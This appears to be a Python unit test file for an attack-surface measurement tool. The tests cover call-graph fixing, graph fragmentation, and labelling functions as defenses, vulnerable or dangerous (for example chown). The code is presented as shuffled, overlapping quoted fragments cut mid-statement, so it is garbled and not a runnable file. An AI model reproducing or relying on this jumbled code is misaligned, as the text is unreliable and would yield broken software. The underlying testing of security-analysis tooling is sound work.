"], [ (i, attrs) for (i, attrs) in target.nodes if i != expected['after']",
"not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in",
"caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow)",
"# | | # | | # d -- c h -- i",
"j != expected['after'] ], ) def test_get_fragments(self): # Arrange # a -- b",
"attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase):",
"self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"i == expected['before'] or j == expected['before'] ], [ attrs for (i, j,",
"_) in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next( i for (i,",
"Designed defense # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller",
"class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt'",
"-- i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f',",
"(i, attrs) in target.nodes if i != expected['after'] ] ) # Asserting if",
"callee = None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(),",
"in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in",
"actual = { 'before': next( i for (i, _) in _target.nodes if i.function_name",
"caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs)",
"= Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs)",
"Designed defense and vulnerable # Arrange source = 'cflow' defenses = [ Call('main',",
"'main.c', Environments.C) callee = Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs(",
"Environments.C) callee = Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source,",
"actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got carried over self.assertCountEqual( [",
"= 'gprof' caller = Call('main', 'main.c', Environments.C) callee = None # Act (caller_attrs,",
"expected['before'] and j != expected['before'] ], [ (i, j, attrs) for (i, j,",
"('d', 'c'), ('d', 'a'), ('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) #",
"not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in",
"'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c',",
"Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list() )",
"and vulnerable # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities",
"carried over self.assertCountEqual( [ attrs for (i, j, attrs) in _target.edges if i",
"CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target =",
"'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'),",
"list(), vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense'",
"expected['before'] or j == expected['before'] ], [ attrs for (i, j, attrs) in",
"main -- printf (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c',",
"self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit'",
"j == expected['after'] ], ) # Asserting if OTHER nodes and their attributes",
"as nx from attacksurfacemeter import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import",
"(gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee =",
"in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in",
"expected['after'] ], ) def test_get_fragments(self): # Arrange # a -- b e --",
") ) expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C)",
") # Asserting if OTHER nodes and their attributes got carried over self.assertCountEqual(",
"Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) # Assert",
"'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'),",
"self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not",
"import unittest import networkx as nx from attacksurfacemeter import utilities from attacksurfacemeter.call import",
"in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) if __name__ ==",
"nodes and their attributes got carried over self.assertCountEqual( [ (i, attrs) for (i,",
"# Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) # * Designed",
") } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes",
"CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target) reference",
"attrs for (i, attrs) in target.nodes if i == expected['after'] ] ) #",
"c h -- i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd',",
"actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf (cflow) # Arrange",
"self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not",
"Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual = { 'before': next(",
"= CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before':",
"# Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in",
"1) # Scenario: main -- chown (cflow) # Arrange source = 'cflow' caller",
"caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit'",
"expected['before'] ], [ (i, attrs) for (i, attrs) in target.nodes if i !=",
"Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source,",
"# Arrange # a -- b e -- f -- g # |",
"if i != expected['after'] and j != expected['after'] ], ) def test_get_fragments(self): #",
"| | # d -- c h -- i j graph = nx.Graph()",
"callee, defenses, vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs)",
"self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"= nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) #",
"in _target.edges if i != expected['before'] and j != expected['before'] ], [ (i,",
"== 'GreeterSayHi' ), 'after': next( i for (i, _) in target.nodes if i.function_name",
") def test_get_fragments(self): # Arrange # a -- b e -- f --",
"self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not",
") graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f',",
"== expected['after'] ] ) # Asserting if edge attributes got carried over self.assertCountEqual(",
"expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual",
"= Call('main', 'main.c', Environments.C) callee = None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs(",
"and their attributes got carried over self.assertCountEqual( [ (i, attrs) for (i, attrs)",
"Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) =",
"import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import",
"expected['before'] ], [ attrs for (i, attrs) in target.nodes if i == expected['after']",
"Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) # Arrange source = 'gprof'",
"= nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']",
"'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) #",
"caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader",
"Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not",
"]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a --",
"not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in",
"next( i for (i, _) in target.nodes if i.function_name == 'GreeterSayHi' ) }",
"('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'),",
"i != expected['before'] and j != expected['before'] ], [ (i, j, attrs) for",
"attributes got carried over self.assertCountEqual( [ (i, j, attrs) for (i, j, attrs)",
"]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def",
"their attributes got carried over self.assertCountEqual( [ (i, j, attrs) for (i, j,",
"utilities.get_node_attrs( source, caller, callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested'",
"(i, j, attrs) in target.edges if i != expected['after'] and j != expected['after']",
"'gprof' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act",
"target.nodes if i == expected['after'] ] ) # Asserting if edge attributes got",
"in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in",
"'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = [None] * 4",
"'c'), ('d', 'a'), ('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert",
"| # | | # d -- c h -- i j graph",
"= [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C)",
"== expected['before'] ], [ attrs for (i, attrs) in target.nodes if i ==",
"source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C)",
"not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not",
"self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested'",
"(caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) # Assert #",
"Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs)",
"e -- f -- g # | | # | | # d",
"'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2]",
"('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d',",
"attrs) in _target.edges if i == expected['before'] or j == expected['before'] ], [",
"in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = None #",
"nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert",
"= [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a',",
"= None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list()",
"caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"attributes got carried over self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes if",
"graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i',",
"Scenario: main -- printf (gprof) # Arrange source = 'gprof' caller = Call('main',",
"('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected =",
"graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'),",
"actual['after']) # Asserting if node attributes got carried over self.assertCountEqual( [ attrs for",
"'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'),",
"'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee =",
"in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs)",
") # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in",
"('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(),",
"self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense'",
"* Designed defense # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)]",
"vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee = Call('validate',",
"in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a --",
"self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got carried over self.assertCountEqual( [ attrs",
"expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph)",
"in target.nodes if i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'],",
"# Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('printf',",
"[ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C)",
"# Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs)",
"import copy import os import unittest import networkx as nx from attacksurfacemeter import",
"i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g',",
"self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a -- b e",
"in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in",
"('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f',",
"Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities )",
"self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Designed defense #",
"'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a",
"'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c', Environments.C) callee =",
"j, attrs) in _target.edges if i != expected['before'] and j != expected['before'] ],",
"('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e',",
"-- validate+ (cflow) # * Designed defense # + Designed defense and vulnerable",
"from attacksurfacemeter import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from",
"= nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'),",
"j, attrs) in _target.edges if i == expected['before'] or j == expected['before'] ],",
"callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"caller, callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' not in",
"{ 'before': next( i for (i, _) in _target.nodes if i.function_name == 'GreeterSayHi'",
"import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target",
"i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting",
"attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader",
"expected['after'] ], ) # Asserting if OTHER nodes and their attributes got carried",
"} # Act utilities.fix(target, using=reference) actual = { 'before': next( i for (i,",
"= copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected",
"copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected =",
"Scenario: main -- None (gprof) # Arrange source = 'gprof' caller = Call('main',",
"using=reference) actual = { 'before': next( i for (i, _) in _target.nodes if",
"validate* (cflow) # * Designed defense # Arrange source = 'cflow' defenses =",
"self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous'",
"or j == expected['after'] ], ) # Asserting if OTHER nodes and their",
"self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) if __name__ == '__main__': unittest.main()",
"self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"# Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() ) #",
"!= expected['before'] and j != expected['before'] ], [ (i, j, attrs) for (i,",
"nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] )",
"caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) #",
"caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable'",
"j != expected['before'] ], [ (i, j, attrs) for (i, j, attrs) in",
"# Asserting if OTHER nodes and their attributes got carried over self.assertCountEqual( [",
"i for (i, _) in target.nodes if i.function_name == 'GreeterSayHi' ) } #",
"test_get_largest_fragment(self): # Arrange # a -- b e -- f -- g #",
"j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',",
"CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import CflowLoader from attacksurfacemeter.loaders.gprof_loader import GprofLoader",
"not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes",
"attrs) for (i, j, attrs) in target.edges if i != expected['after'] and j",
"source, caller, callee, defenses, vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not",
"# Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' in",
"Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) =",
"'h') ]) expected = [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c',",
"('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h',",
"expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'),",
"caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs)",
"utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested'",
"Asserting if OTHER nodes and their attributes got carried over self.assertCountEqual( [ (i,",
"if i != expected['after'] ] ) # Asserting if OTHER edges and their",
"Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in",
"in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+",
"if i == expected['before'] or j == expected['before'] ], [ attrs for (i,",
"in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in",
"Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C)",
"{ 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target,",
"'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c',",
"j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',",
"self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) if",
"('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ])",
"GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before': Call('GreeterSayHi', '',",
"Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual = {",
"* Designed defense # + Designed defense and vulnerable # Arrange source =",
"# Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self):",
"main* -- validate+ (cflow) # * Designed defense # + Designed defense and",
"main -- None (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c',",
"('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')]) expected[3]",
"== expected['after'] or j == expected['after'] ], ) # Asserting if OTHER nodes",
"self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not",
"in target.edges if i == expected['after'] or j == expected['after'] ], ) #",
"self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs)",
"in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes",
"vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in",
"vulnerable # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities =",
"# a -- b e -- f -- g # | | #",
"'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2] =",
"attrs for (i, j, attrs) in _target.edges if i == expected['before'] or j",
"= nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j']",
"'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'),",
"defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [",
"carried over self.assertCountEqual( [ (i, j, attrs) for (i, j, attrs) in _target.edges",
"Act utilities.fix(target, using=reference) actual = { 'before': next( i for (i, _) in",
"callee = Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller,",
"attributes got carried over self.assertCountEqual( [ attrs for (i, j, attrs) in _target.edges",
"[ (i, attrs) for (i, attrs) in target.nodes if i != expected['after'] ]",
"-- c h -- i j graph = nx.DiGraph() graph.add_nodes_from( ['a', 'b', 'c',",
"# Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a -- b",
"Call('validate', 'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(),",
"self.assertCountEqual( [ (i, j, attrs) for (i, j, attrs) in _target.edges if i",
"[None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'),",
"for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange #",
"in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs)",
"Environments.C) ] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller",
"self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) # Arrange source = 'gprof' caller",
"'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities =",
"Vulnerable # Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller =",
"not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) if __name__",
"callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() ) # Assert # Caller",
"attrs) for (i, attrs) in _target.nodes if i != expected['before'] ], [ (i,",
"expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'),",
"# Scenario: main -- chown (cflow) # Arrange source = 'cflow' caller =",
"Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c',",
"if OTHER nodes and their attributes got carried over self.assertCountEqual( [ (i, attrs)",
"Scenario: main -- validate* (cflow) # * Designed defense # Arrange source =",
"j, attrs) for (i, j, attrs) in _target.edges if i != expected['before'] and",
"in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Designed",
"('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i',",
"if i != expected['before'] and j != expected['before'] ], [ (i, j, attrs)",
"not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in",
"self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency'",
"# Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list() ) #",
"if edge attributes got carried over self.assertCountEqual( [ attrs for (i, j, attrs)",
"for (i, _) in target.nodes if i.function_name == 'GreeterSayHi' ) } # Assert",
"if i != expected['before'] ], [ (i, attrs) for (i, attrs) in target.nodes",
"Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs)",
"# Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in",
